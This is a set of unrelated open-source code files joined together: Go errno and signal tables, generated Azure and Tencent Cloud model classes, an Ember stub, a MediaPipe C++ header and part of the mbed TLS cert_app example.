syscall.Errno(0x28) EMULTIHOP = syscall.Errno(0x5f) ENAMETOOLONG = syscall.Errno(0x3f) ENEEDAUTH = syscall.Errno(0x51) ENETDOWN = syscall.Errno(0x32) ENETRESET = syscall.Errno(0x34) ENETUNREACH = syscall.Errno(0x33) ENFILE = syscall.Errno(0x17) ENOATTR = syscall.Errno(0x5d) ENOBUFS = syscall.Errno(0x37) ENODATA = syscall.Errno(0x60) ENODEV = syscall.Errno(0x13) ENOENT = syscall.Errno(0x2) ENOEXEC = syscall.Errno(0x8) ENOLCK = syscall.Errno(0x4d) ENOLINK = syscall.Errno(0x61) ENOMEM = syscall.Errno(0xc) ENOMSG = syscall.Errno(0x5b) ENOPOLICY = syscall.Errno(0x67) ENOPROTOOPT = syscall.Errno(0x2a) ENOSPC = syscall.Errno(0x1c) ENOSR = syscall.Errno(0x62) ENOSTR = syscall.Errno(0x63) ENOSYS = syscall.Errno(0x4e) ENOTBLK = syscall.Errno(0xf) ENOTCONN = syscall.Errno(0x39) ENOTDIR = syscall.Errno(0x14) ENOTEMPTY = syscall.Errno(0x42) ENOTRECOVERABLE = syscall.Errno(0x68) ENOTSOCK = syscall.Errno(0x26) ENOTSUP = syscall.Errno(0x2d) ENOTTY = syscall.Errno(0x19) ENXIO = syscall.Errno(0x6) EOPNOTSUPP = syscall.Errno(0x66) EOVERFLOW = syscall.Errno(0x54) EOWNERDEAD = syscall.Errno(0x69) EPERM = syscall.Errno(0x1) EPFNOSUPPORT = syscall.Errno(0x2e) EPIPE = syscall.Errno(0x20) EPROCLIM = syscall.Errno(0x43) EPROCUNAVAIL = syscall.Errno(0x4c) EPROGMISMATCH = syscall.Errno(0x4b) EPROGUNAVAIL = syscall.Errno(0x4a) EPROTO = syscall.Errno(0x64) EPROTONOSUPPORT = syscall.Errno(0x2b) EPROTOTYPE = syscall.Errno(0x29) EPWROFF = syscall.Errno(0x52) EQFULL = syscall.Errno(0x6a) ERANGE = syscall.Errno(0x22) EREMOTE = syscall.Errno(0x47) EROFS = syscall.Errno(0x1e) ERPCMISMATCH = syscall.Errno(0x49) ESHLIBVERS = syscall.Errno(0x57) ESHUTDOWN = syscall.Errno(0x3a) ESOCKTNOSUPPORT = syscall.Errno(0x2c) ESPIPE = syscall.Errno(0x1d) ESRCH = syscall.Errno(0x3) ESTALE = syscall.Errno(0x46) ETIME = syscall.Errno(0x65) ETIMEDOUT = syscall.Errno(0x3c) ETOOMANYREFS = syscall.Errno(0x3b) ETXTBSY = syscall.Errno(0x1a) EUSERS = syscall.Errno(0x44) EWOULDBLOCK = syscall.Errno(0x23) EXDEV = syscall.Errno(0x12) ) // Signals const ( SIGABRT = syscall.Signal(0x6) SIGALRM = syscall.Signal(0xe) SIGBUS = syscall.Signal(0xa) SIGCHLD = syscall.Signal(0x14) SIGCONT = syscall.Signal(0x13) SIGEMT = syscall.Signal(0x7) SIGFPE = syscall.Signal(0x8) SIGHUP = syscall.Signal(0x1) SIGILL = syscall.Signal(0x4) SIGINFO = syscall.Signal(0x1d) SIGINT = syscall.Signal(0x2) SIGIO = syscall.Signal(0x17) SIGIOT = syscall.Signal(0x6) SIGKILL = syscall.Signal(0x9) SIGPIPE = syscall.Signal(0xd) SIGPROF = syscall.Signal(0x1b) SIGQUIT = syscall.Signal(0x3) SIGSEGV = syscall.Signal(0xb) SIGSTOP = syscall.Signal(0x11) SIGSYS = syscall.Signal(0xc) SIGTERM = syscall.Signal(0xf) SIGTRAP = syscall.Signal(0x5) SIGTSTP = syscall.Signal(0x12) SIGTTIN = syscall.Signal(0x15) SIGTTOU = syscall.Signal(0x16) SIGURG = syscall.Signal(0x10) SIGUSR1 = syscall.Signal(0x1e) SIGUSR2 = syscall.Signal(0x1f) SIGVTALRM = syscall.Signal(0x1a) SIGWINCH = syscall.Signal(0x1c) SIGXCPU = syscall.Signal(0x18) SIGXFSZ = syscall.Signal(0x19) ) // Error table var errorList = [...]struct { num syscall.Errno name string desc string }{ {1, "EPERM", "operation not permitted"}, {2, "ENOENT", "no such file or directory"}, {3, "ESRCH", "no such process"}, {4, "EINTR", "interrupted system call"}, {5, "EIO", "input/output error"}, {6, "ENXIO", "device not configured"}, {7, "E2BIG", "argument list too long"}, {8, "ENOEXEC", "exec format error"}, {9, "EBADF", "bad file descriptor"}, {10, "ECHILD", "no child processes"}, {11, "EDEADLK", "resource deadlock avoided"}, {12, "ENOMEM", "cannot allocate memory"}, {13, "EACCES", "permission denied"}, {14, "EFAULT", "bad address"}, {15, "ENOTBLK", "block device required"}, {16, "EBUSY", "resource busy"}, {17, "EEXIST", "file exists"}, {18, "EXDEV", "cross-device link"}, {19, "ENODEV", "operation not supported by device"}, {20, "ENOTDIR", "not a directory"}, {21, "EISDIR", "is a directory"}, {22, "EINVAL", "invalid argument"}, {23, "ENFILE", "too many open files in system"}, {24, "EMFILE", "too many open files"}, {25, "ENOTTY", "inappropriate ioctl for device"}, {26, "ETXTBSY", "text file busy"}, {27, "EFBIG", "file too large"}, {28, "ENOSPC", "no space left on device"}, {29, "ESPIPE", "illegal seek"}, {30, "EROFS", "read-only file system"}, {31, "EMLINK", "too many links"}, {32, "EPIPE", "broken pipe"}, {33, "EDOM", "numerical argument out of domain"}, {34, "ERANGE", "result too large"}, {35, "EAGAIN", "resource temporarily unavailable"}, {36, "EINPROGRESS", "operation now in progress"}, {37, "EALREADY", "operation already in progress"}, {38, "ENOTSOCK", "socket operation on non-socket"}, {39, "EDESTADDRREQ", "destination address required"}, {40, "EMSGSIZE", "message too long"}, {41, "EPROTOTYPE", "protocol wrong type for socket"}, {42, "ENOPROTOOPT", "protocol not available"}, {43, "EPROTONOSUPPORT", "protocol not supported"}, {44, "ESOCKTNOSUPPORT", "socket type not supported"}, {45, "ENOTSUP", "operation not supported"}, {46, "EPFNOSUPPORT", "protocol family not supported"}, {47, "EAFNOSUPPORT", "address family not supported by protocol family"}, {48, "EADDRINUSE", "address already in use"}, {49, "EADDRNOTAVAIL", "can't assign requested address"}, {50, "ENETDOWN", "network is down"}, {51, "ENETUNREACH", "network is unreachable"}, {52, "ENETRESET", "network dropped connection on reset"}, {53, "ECONNABORTED", "software caused connection abort"}, {54, "ECONNRESET", "connection reset by peer"}, {55, "ENOBUFS", "no buffer space available"}, {56, "EISCONN", "socket is already connected"}, {57, "ENOTCONN", "socket is not connected"}, {58, "ESHUTDOWN", "can't send after socket shutdown"}, {59, "ETOOMANYREFS", "too many references: can't splice"}, {60, "ETIMEDOUT", "operation timed out"}, {61, "ECONNREFUSED", "connection refused"}, {62, "ELOOP", "too many levels of symbolic links"}, {63, "ENAMETOOLONG", "file name too long"}, {64, "EHOSTDOWN", "host is down"}, {65, "EHOSTUNREACH", "no route to host"}, {66, "ENOTEMPTY", "directory not empty"}, {67, "EPROCLIM", "too many processes"}, {68, "EUSERS", "too many users"}, {69, "EDQUOT", "disc quota exceeded"}, {70, "ESTALE", "stale NFS file handle"}, {71, "EREMOTE", "too many levels of remote in path"}, {72, "EBADRPC", "RPC struct is bad"}, {73, "ERPCMISMATCH", "RPC version wrong"}, {74, "EPROGUNAVAIL", "RPC prog. not avail"}, {75, "EPROGMISMATCH", "program version wrong"}, {76, "EPROCUNAVAIL", "bad procedure for program"}, {77, "ENOLCK", "no locks available"}, {78, "ENOSYS", "function not implemented"}, {79, "EFTYPE", "inappropriate file type or format"}, {80, "EAUTH", "authentication error"}, {81, "ENEEDAUTH", "need authenticator"}, {82, "EPWROFF", "device power is off"}, {83, "EDEVERR", "device error"}, {84, "EOVERFLOW", "value too large to be stored in data type"}, {85, "EBADEXEC", "bad executable (or shared library)"}, {86, "EBADARCH", "bad CPU type in executable"}, {87, "ESHLIBVERS", "shared library version mismatch"}, {88, "EBADMACHO", "malformed Mach-o file"}, {89, "ECANCELED", "operation canceled"}, {90, "EIDRM", "identifier removed"}, {91, "ENOMSG", "no message of desired type"}, {92, "EILSEQ", "illegal byte sequence"}, {93, "ENOATTR", "attribute not found"}, {94, "EBADMSG", "bad message"}, {95, "EMULTIHOP", "EMULTIHOP (Reserved)"}, {96, "ENODATA", "no message available on STREAM"}, {97, "ENOLINK", "ENOLINK (Reserved)"}, {98, "ENOSR", "no STREAM resources"}, {99, "ENOSTR", "not a STREAM"}, {100, "EPROTO", "protocol error"}, {101, "ETIME", "STREAM ioctl timeout"}, {102, "EOPNOTSUPP", "operation not supported on socket"}, {103, "ENOPOLICY", "policy not found"}, {104, "ENOTRECOVERABLE", "state not recoverable"}, {105, "EOWNERDEAD", "previous owner died"}, {106, "EQFULL", "interface output queue is full"}, } // Signal table var signalList = [...]struct { num syscall.Signal name string desc string }{ {1, "SIGHUP", "hangup"}, {2, "SIGINT", "interrupt"}, {3, "SIGQUIT", "quit"}, {4, "SIGILL", "illegal instruction"}, {5, "SIGTRAP", "trace/BPT trap"}, {6, "SIGABRT", "abort trap"}, {7, "SIGEMT", "EMT trap"}, {8, "SIGFPE", "floating point exception"}, {9, "SIGKILL", "killed"}, {10, "SIGBUS", "bus error"}, {11, "SIGSEGV", "segmentation fault"}, {12, "SIGSYS", "bad system call"}, {13, "SIGPIPE", "broken pipe"}, {14, "SIGALRM", "alarm clock"}, {15, "SIGTERM", "terminated"}, {16, "SIGURG", "urgent I/O condition"}, {17, "SIGSTOP", "suspended (signal)"}, {18, "SIGTSTP", "suspended"}, {19, "SIGCONT", "continued"}, {20, "SIGCHLD", "child exited"}, {21, "SIGTTIN", "stopped (tty input)"}, {22, "SIGTTOU", "stopped (tty output)"}, {23, "SIGIO", "I/O possible"}, {24, "SIGXCPU", "cputime limit exceeded"}, {25, "SIGXFSZ", "filesize limit exceeded"}, {26, "SIGVTALRM", "virtual timer expired"}, {27, "SIGPROF", "profiling timer expired"}, {28, "SIGWINCH", "window size changes"}, {29, "SIGINFO", "information request"}, {30, "SIGUSR1", "user defined signal 1"}, {31, "SIGUSR2", "user defined signal 2"}, }
{ "pile_set_name": "Github" }
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class ExtractedKeyValuePair(Model): """Representation of a key-value pair as a list of key and value tokens. :param key: List of tokens for the extracted key in a key-value pair. :type key: list[~azure.cognitiveservices.formrecognizer.models.ExtractedToken] :param value: List of tokens for the extracted value in a key-value pair. :type value: list[~azure.cognitiveservices.formrecognizer.models.ExtractedToken] """ _attribute_map = { 'key': {'key': 'key', 'type': '[ExtractedToken]'}, 'value': {'key': 'value', 'type': '[ExtractedToken]'}, } def __init__(self, *, key=None, value=None, **kwargs) -> None: super(ExtractedKeyValuePair, self).__init__(**kwargs) self.key = key self.value = value
{ "pile_set_name": "Github" }
/* * Copyright 2016 LinkedIn Corp. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ import Ember from 'ember'; export default Ember.Component.extend({ });
{ "pile_set_name": "Github" }
// Copyright 2019 The MediaPipe Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef MEDIAPIPE_FRAMEWORK_PACKET_TYPE_H_ #define MEDIAPIPE_FRAMEWORK_PACKET_TYPE_H_ #include <map> #include <memory> #include <set> #include <string> #include <typeinfo> #include <vector> #include "absl/base/macros.h" #include "absl/strings/str_split.h" #include "mediapipe/framework/collection.h" #include "mediapipe/framework/packet.h" #include "mediapipe/framework/packet_set.h" #include "mediapipe/framework/port/status.h" #include "mediapipe/framework/tool/validate_name.h" #include "mediapipe/framework/type_map.h" namespace mediapipe { // Encapsulates the type and description of an input stream, output // stream, or input side packet. The type to expect is set with Set<type>() // and a packet is validated with Validate(). The PacketType can be // set to indicate the same type as some other PacketType. class PacketType { public: // Creates an uninitialized PacketType. PacketType(); PacketType(const PacketType&) = delete; PacketType& operator=(const PacketType&) = delete; // False for a PacketType that has not had any Set*() function called. bool IsInitialized() const; // The following "Set*" functions initialize the PacketType. They can // be called any number of times; the PacketType is initialized to // whatever the last call is. // Sets the packet type to accept the provided type. template <typename T> PacketType& Set(); // Sets the packet type to accept packets of any type. If an input or // output stream is set to this type then the framework tries to infer // the stream type based on the packet types of other Calculators. // Specifically, using SetAny() still means that the stream has a type // but this particular calculator just doesn't care what it is. PacketType& SetAny(); // Sets the packet type to not accept any packets. PacketType& SetNone(); // Sets the PacketType to be the same as type. This actually stores // the pointer to the other PacketType but does not acquire ownership. // "type" must outlive this object. PacketType& SetSameAs(const PacketType* type); // Marks this port as optional. PacketType& Optional(); // Returns a pointer to the root PacketType of the "same as" equivalence // class. const PacketType* GetSameAs() const; PacketType* GetSameAs(); // Returns true if this PacketType allows anything. bool IsAny() const; // Returns true if this PacketType allows nothing. bool IsNone() const; bool IsOptional() const { return optional_; } // Returns true iff this and other are consistent, meaning they do // not expect different types. IsAny() is consistent with anything. // IsNone() is only consistent with IsNone() and IsAny(). bool IsConsistentWith(const PacketType& other) const; // Returns OK if the packet contains an object of the appropriate type. ::mediapipe::Status Validate(const Packet& packet) const; // Returns a pointer to the Registered type name, or nullptr if the type // is not registered. Do not use this for validation, use Validate() // instead. const std::string* RegisteredTypeName() const; // Returns the type name. Do not use this for validation, use // Validate() instead. const std::string DebugTypeName() const; private: // Typedef for the ValidateAsType() method in Packet that is used for // type validation and identification. typedef ::mediapipe::Status (Packet::*ValidateMethodType)() const; // Records whether the packet type was set in any way. bool initialized_; // Don't allow any packets through. bool no_packets_allowed_; // Pointer to Packet::ValidateAsType<T>. ValidateMethodType validate_method_; // Type name as std::string. std::string type_name_; // The Registered type name or nullptr if the type isn't registered. const std::string* registered_type_name_ptr_ = nullptr; // If this is non-null then this PacketType is the same as same_as_. // We don't do union-find optimizations in order to avoid a mutex. const PacketType* same_as_; // Whether the corresponding port is optional. bool optional_ = false; }; // An error handler class which allows a PacketTypeSet to return valid // results while deferring errors. // // This class is thread compatible. class PacketTypeSetErrorHandler { public: // Returns a usable PacketType. A different PacketType object is // returned for each different invalid location and the same object // is returned for multiple accesses to the same invalid location. PacketType& GetFallback(const std::string& tag, int index) { if (!missing_) { missing_ = absl::make_unique<Missing>(); } CHECK(!missing_->initialized_errors); std::string key = absl::StrCat(tag, ":", index); return missing_->entries[key]; } // In the const setting produce a FATAL error. const PacketType& GetFallback(const std::string& tag, int index) const { LOG(FATAL) << "Failed to get tag \"" << tag << "\" index " << index << ". Unable to defer error due to const specifier."; std::abort(); } // Returns true if a (deferred) error has been recorded by the // PacketTypeSet. bool HasError() const { return missing_ != nullptr; } // Get the error messages that have been deferred. // This function can only be called if HasError() is true. const std::vector<std::string>& ErrorMessages() const { CHECK(missing_) << "ErrorMessages() can only be called if errors have " "occurred. Call HasError() before calling this " "function."; if (!missing_->initialized_errors) { for (const auto& entry : missing_->entries) { // Optional entries that were missing are not considered errors. if (!entry.second.IsOptional()) { // Split them to keep the error std::string unchanged. std::pair<std::string, std::string> tag_idx = absl::StrSplit(entry.first, ':'); missing_->errors.push_back(absl::StrCat("Failed to get tag \"", tag_idx.first, "\" index ", tag_idx.second)); } } missing_->initialized_errors = true; } return missing_->errors; } private: struct Missing { // Mapping from TAG:index to PacketType objects, one for each invalid // location that has been accessed. std::map<std::string, PacketType> entries; // The list of errors is only computed at the end. std::vector<std::string> errors; bool initialized_errors = false; }; // Initialize lazily to save space in the common no-error case. std::unique_ptr<Missing> missing_; }; // A collection of PacketTypes. The types are either retrieved by index // or by tag. The calculator must set a type for every input stream and // input side packet that it accepts and every output stream it produces. // Every (non-const) function in this class always returns valid values // that can be used directly without error checking. If the types don't // match what the user provided then an error will be triggered later // (but the program will not crash). // // For example, a calculator can just call // inputs->Tag("VIDEO").Set<ImageFrame>("Annotated Video Frames."); // Without checking that "VIDEO" is a valid tag. // // Similarly if the following is specified: // inputs->Index(0).Set<int>("Some Integer."); // inputs->Index(1).Set<std::string>("Some String."); // inputs->Index(2).Set<float>("Some Float."); // then it is not necessary to check that NumEntries() == 3. An error // is triggered if there aren't exactly 3 inputs or they don't have the // proper types. // // For a const PacketTypeSet, invalid access is a fatal error. // // This class is thread compatible. using PacketTypeSet = internal::Collection<PacketType, internal::CollectionStorage::kStoreValue, PacketTypeSetErrorHandler>; // Returns OK if the packets in the PacketSet are of the appropriate type. // packet_type_set must be valid before this is called (but packet_set // may be in any state). ::mediapipe::Status ValidatePacketSet(const PacketTypeSet& packet_type_set, const PacketSet& packet_set); // Validates that the PacketTypeSet was initialized properly. // An error is returned if // 1) Tag() or Index() is called with an invalid argument (however, // a valid PacketType is still returned by the function). // 2) Any PacketType is not initialized. ::mediapipe::Status ValidatePacketTypeSet(const PacketTypeSet& packet_type_set); // Templated function definitions. template <typename T> PacketType& PacketType::Set() { initialized_ = true; no_packets_allowed_ = false; validate_method_ = &Packet::ValidateAsType<T>; type_name_ = MediaPipeTypeStringOrDemangled<T>(); registered_type_name_ptr_ = MediaPipeTypeString<T>(); same_as_ = nullptr; return *this; } } // namespace mediapipe #endif // MEDIAPIPE_FRAMEWORK_PACKET_TYPE_H_
{ "pile_set_name": "Github" }
/* * Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ namespace TencentCloud.Tsf.V20180326.Models { using Newtonsoft.Json; using System.Collections.Generic; using TencentCloud.Common; public class DeletePkgsRequest : AbstractModel { /// <summary> /// 应用ID /// </summary> [JsonProperty("ApplicationId")] public string ApplicationId{ get; set; } /// <summary> /// 需要删除的程序包ID列表 /// </summary> [JsonProperty("PkgIds")] public string[] PkgIds{ get; set; } /// <summary> /// 程序包仓库类型 /// </summary> [JsonProperty("RepositoryType")] public string RepositoryType{ get; set; } /// <summary> /// 程序包仓库id /// </summary> [JsonProperty("RepositoryId")] public string RepositoryId{ get; set; } /// <summary> /// For internal usage only. DO NOT USE IT. /// </summary> internal override void ToMap(Dictionary<string, string> map, string prefix) { this.SetParamSimple(map, prefix + "ApplicationId", this.ApplicationId); this.SetParamArraySimple(map, prefix + "PkgIds.", this.PkgIds); this.SetParamSimple(map, prefix + "RepositoryType", this.RepositoryType); this.SetParamSimple(map, prefix + "RepositoryId", this.RepositoryId); } } }
{ "pile_set_name": "Github" }
/* * Certificate reading application * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #if !defined(MBEDTLS_CONFIG_FILE) #include "mbedtls/config.h" #else #include MBEDTLS_CONFIG_FILE #endif #if defined(MBEDTLS_PLATFORM_C) #include "mbedtls/platform.h" #else #include <stdio.h> #include <stdlib.h> #define mbedtls_time time #define mbedtls_time_t time_t #define mbedtls_fprintf fprintf #define mbedtls_printf printf #endif #if !defined(MBEDTLS_BIGNUM_C) || !defined(MBEDTLS_ENTROPY_C) || \ !defined(MBEDTLS_SSL_TLS_C) || !defined(MBEDTLS_SSL_CLI_C) || \ !defined(MBEDTLS_NET_C) || !defined(MBEDTLS_RSA_C) || \ !defined(MBEDTLS_X509_CRT_PARSE_C) || !defined(MBEDTLS_FS_IO) || \ !defined(MBEDTLS_CTR_DRBG_C) int main( void ) { mbedtls_printf("MBEDTLS_BIGNUM_C and/or MBEDTLS_ENTROPY_C and/or " "MBEDTLS_SSL_TLS_C and/or MBEDTLS_SSL_CLI_C and/or " "MBEDTLS_NET_C and/or MBEDTLS_RSA_C and/or " "MBEDTLS_X509_CRT_PARSE_C and/or MBEDTLS_FS_IO and/or " "MBEDTLS_CTR_DRBG_C not defined.\n"); return( 0 ); } #else #include "mbedtls/entropy.h" #include "mbedtls/ctr_drbg.h" #include "mbedtls/net_sockets.h" #include "mbedtls/ssl.h" #include "mbedtls/x509.h" #include "mbedtls/debug.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #define MODE_NONE 0 #define MODE_FILE 1 #define MODE_SSL 2 #define DFL_MODE MODE_NONE #define DFL_FILENAME "cert.crt" #define DFL_CA_FILE "" #define DFL_CRL_FILE "" #define DFL_CA_PATH "" #define DFL_SERVER_NAME "localhost" #define DFL_SERVER_PORT "4433" #define DFL_DEBUG_LEVEL 0 #define DFL_PERMISSIVE 0 #define USAGE_IO \ " ca_file=%%s The single file containing the top-level CA(s) you fully trust\n" \ " default: \"\" (none)\n" \ " crl_file=%%s The single CRL file you want to use\n" \ " default: \"\" (none)\n" \ " ca_path=%%s The path containing the top-level CA(s) you fully trust\n" \ " default: \"\" (none) (overrides ca_file)\n" #define USAGE \ "\n usage: cert_app param=<>...\n" \ "\n acceptable parameters:\n" \ " mode=file|ssl default: none\n" \ " filename=%%s default: cert.crt\n" \ USAGE_IO \ " server_name=%%s default: localhost\n" \ " server_port=%%d default: 4433\n" \ " debug_level=%%d default: 0 (disabled)\n" \ " permissive=%%d default: 0 (disabled)\n" \ "\n" /* * global options */ struct options { int mode; /* the mode to run the application in */ const char *filename; /* filename of the certificate file */ const char *ca_file; /* the file with the CA certificate(s) */ const char *crl_file; /* the file with the CRL to use */ const char *ca_path; /* the path with the CA certificate(s) reside */ const char *server_name; /* hostname of the server (client only) */ const char *server_port; /* port on which the ssl service runs */ int debug_level; /* level of debugging */ int permissive; /* permissive parsing */ } opt; static void my_debug( void *ctx, int level, const char *file, int line, const char *str ) { ((void) level); mbedtls_fprintf( (FILE *) ctx, "%s:%04d: %s", file, line, str ); fflush( (FILE *) ctx ); } static int my_verify( void *data, mbedtls_x509_crt *crt, int depth, uint32_t *flags ) { char buf[1024]; ((void) data); mbedtls_printf( "\nVerify requested for (Depth %d):\n", depth ); mbedtls_x509_crt_info( buf, sizeof( buf ) - 1, "", crt ); mbedtls_printf( "%s", buf ); if ( ( *flags ) == 0 ) mbedtls_printf( " This certificate has no flags\n" ); else { mbedtls_x509_crt_verify_info( buf, sizeof( buf ), " ! ", *flags ); mbedtls_printf( "%s\n", buf ); } return( 0 ); } int main( int argc, char *argv[] ) { int ret = 0; mbedtls_net_context server_fd; unsigned char buf[1024]; mbedtls_entropy_context entropy; mbedtls_ctr_drbg_context ctr_drbg; mbedtls_ssl_context ssl; mbedtls_ssl_config conf; mbedtls_x509_crt cacert; mbedtls_x509_crl cacrl; int i, j; uint32_t flags; int verify = 0; char *p, *q; const char *pers = "cert_app"; /* * Set to sane values */ mbedtls_net_init( &server_fd ); mbedtls_ctr_drbg_init( &ctr_drbg ); mbedtls_ssl_init( &ssl ); mbedtls_ssl_config_init( &conf ); mbedtls_x509_crt_init( &cacert ); #if defined(MBEDTLS_X509_CRL_PARSE_C) mbedtls_x509_crl_init( &cacrl ); #else /* Zeroize structure as CRL parsing is not supported and we have to pass it to the verify function */ memset( &cacrl, 0, sizeof(mbedtls_x509_crl) ); #endif if( argc == 0 ) { usage: mbedtls_printf( USAGE ); ret = 2; goto exit; } opt.mode = DFL_MODE; opt.filename = DFL_FILENAME; opt.ca_file = DFL_CA_FILE; opt.crl_file = DFL_CRL_FILE; opt.ca_path = DFL_CA_PATH; opt.server_name = DFL_SERVER_NAME; opt.server_port = DFL_SERVER_PORT; opt.debug_level = DFL_DEBUG_LEVEL; opt.permissive = DFL_PERMISSIVE; for( i = 1; i < argc; i++ ) { p = argv[i]; if( ( q = strchr( p, '=' ) ) == NULL ) goto usage; *q++ = '\0'; for( j = 0; p + j < q; j++ ) { if( argv[i][j] >= 'A' && argv[i][j] <= 'Z' ) argv[i][j] |= 0x20; } if( strcmp( p, "mode" ) == 0 ) { if( strcmp( q, "file" ) == 0 ) opt.mode = MODE_FILE; else if( strcmp( q, "ssl" ) == 0 ) opt.mode = MODE_SSL; else goto usage; } else if( strcmp( p, "filename" ) == 0 ) opt.filename = q; else if( strcmp( p, "ca_file" ) == 0 ) opt.ca_file = q; else if( strcmp( p, "crl_file" ) == 0 ) opt.crl_file = q; else if( strcmp( p, "ca_path" ) == 0 ) opt.ca_path = q; else if( strcmp( p, "server_name" ) == 0 ) opt.server_name = q; else if( strcmp( p, "server_port" ) == 0 ) opt.server_port = q; else if( strcmp( p, "debug_level" ) == 0 ) { opt.debug_level = atoi( q ); if( opt.debug_level < 0 || opt.debug_level > 65535 ) goto usage; } else if( strcmp( p, "permissive" ) == 0 ) { opt.permissive = atoi( q ); if( opt.permissive < 0 || opt.permissive > 1 ) goto usage; } else goto usage; } /* * 1.1. Load the trusted CA */ mbedtls_printf( " . Loading the CA root certificate ..." ); fflush( stdout ); if( strlen( opt.ca_path ) ) { ret = mbedtls_x509_crt_parse_path( &cacert, opt.ca_path ); verify = 1; } else if( strlen( opt.ca_file ) ) { ret = mbedtls_x509_crt_parse_file( &cacert, opt.ca_file ); verify = 1; } if( ret < 0 ) { mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse returned -0x%x\n\n", -ret ); goto exit; } mbedtls_printf( " ok (%d skipped)\n", ret ); #if defined(MBEDTLS_X509_CRL_PARSE_C) if( strlen( opt.crl_file ) ) { if( ( ret = mbedtls_x509_crl_parse_file( &cacrl, opt.crl_file ) ) != 0 ) { mbedtls_printf( " failed\n ! mbedtls_x509_crl_parse returned -0x%x\n\n", -ret ); goto exit; } verify = 1; } #endif if( opt.mode == MODE_FILE ) { mbedtls_x509_crt crt; mbedtls_x509_crt *cur = &crt; mbedtls_x509_crt_init( &crt ); /* * 1.1. Load the certificate(s) */ mbedtls_printf( "\n . Loading the certificate(s) ..." ); fflush( stdout ); ret = mbedtls_x509_crt_parse_file( &crt, opt.filename ); if( ret < 0 ) { mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse_file returned %d\n\n", ret ); mbedtls_x509_crt_free( &crt ); goto exit; } if( opt.permissive == 0 && ret > 0 ) { mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse failed to parse %d certificates\n\n", ret ); mbedtls_x509_crt_free( &crt ); goto exit; } mbedtls_printf( " ok\n" ); /* * 1.2 Print the certificate(s) */ while( cur != NULL ) { mbedtls_printf( " . Peer certificate information ...\n" ); ret = mbedtls_x509_crt_info( (char *) buf, sizeof( buf ) - 1, " ", cur ); if( ret == -1 ) { mbedtls_printf( " failed\n ! mbedtls_x509_crt_info returned %d\n\n", ret ); mbedtls_x509_crt_free( &crt ); goto exit; } mbedtls_printf( "%s\n", buf ); cur = cur->next; } ret = 0; /* * 1.3 Verify the certificate */ if( verify ) { mbedtls_printf( " . Verifying X.509 certificate..." ); if( ( ret = mbedtls_x509_crt_verify( &crt, &cacert, &cacrl, NULL, &flags, my_verify, NULL ) ) != 0 ) { char vrfy_buf[512]; mbedtls_printf( " failed\n" ); mbedtls_x509_crt_verify_info( vrfy_buf, sizeof( vrfy_buf ), " ! ", flags ); mbedtls_printf( "%s\n", vrfy_buf ); } else mbedtls_printf( " ok\n" ); } mbedtls_x509_crt_free( &crt ); } else if( opt.mode == MODE_SSL ) { /* * 1. Initialize the RNG and the session data */ mbedtls_printf( "\n . Seeding the random number generator..." ); fflush( stdout ); mbedtls_entropy_init( &entropy ); if( ( ret = mbedtls_ctr_drbg_seed( &ctr_drbg, mbedtls_entropy_func, &entropy, (const unsigned char *) pers, strlen( pers ) ) ) != 0 ) { mbedtls_printf( " failed\n ! mbedtls_ctr_drbg_seed returned %d\n", ret ); goto ssl_exit; } mbedtls_printf( " ok\n" ); #if defined(MBEDTLS_DEBUG_C) mbedtls_debug_set_threshold( opt.debug_level ); #endif /* * 2. Start the connection */ mbedtls_printf( " . SSL connection to tcp/%s/%s...", opt.server_name, opt.server_port ); fflush( stdout ); if( ( ret = mbedtls_net_connect( &server_fd, opt.server_name, opt.server_port, MBEDTLS_NET_PROTO_TCP ) ) != 0 ) { mbedtls_printf( " failed\n ! mbedtls_net_connect returned %d\n\n", ret ); goto ssl_exit; } /* * 3. Setup stuff */ if( ( ret = mbedtls_ssl_config_defaults( &conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 ) { mbedtls_printf( " failed\n ! mbedtls_ssl_config_defaults returned %d\n\n", ret ); goto exit; } if( verify ) { mbedtls_ssl_conf_authmode( &conf, MBEDTLS_SSL_VERIFY_REQUIRED ); mbedtls_ssl_conf_ca_chain( &conf, &cacert, NULL ); mbedtls_ssl_conf_verify( &conf, my_verify, NULL ); } else mbedtls_ssl_conf_authmode( &conf, MBEDTLS_SSL_VERIFY_NONE ); mbedtls_ssl_conf_rng( &conf, 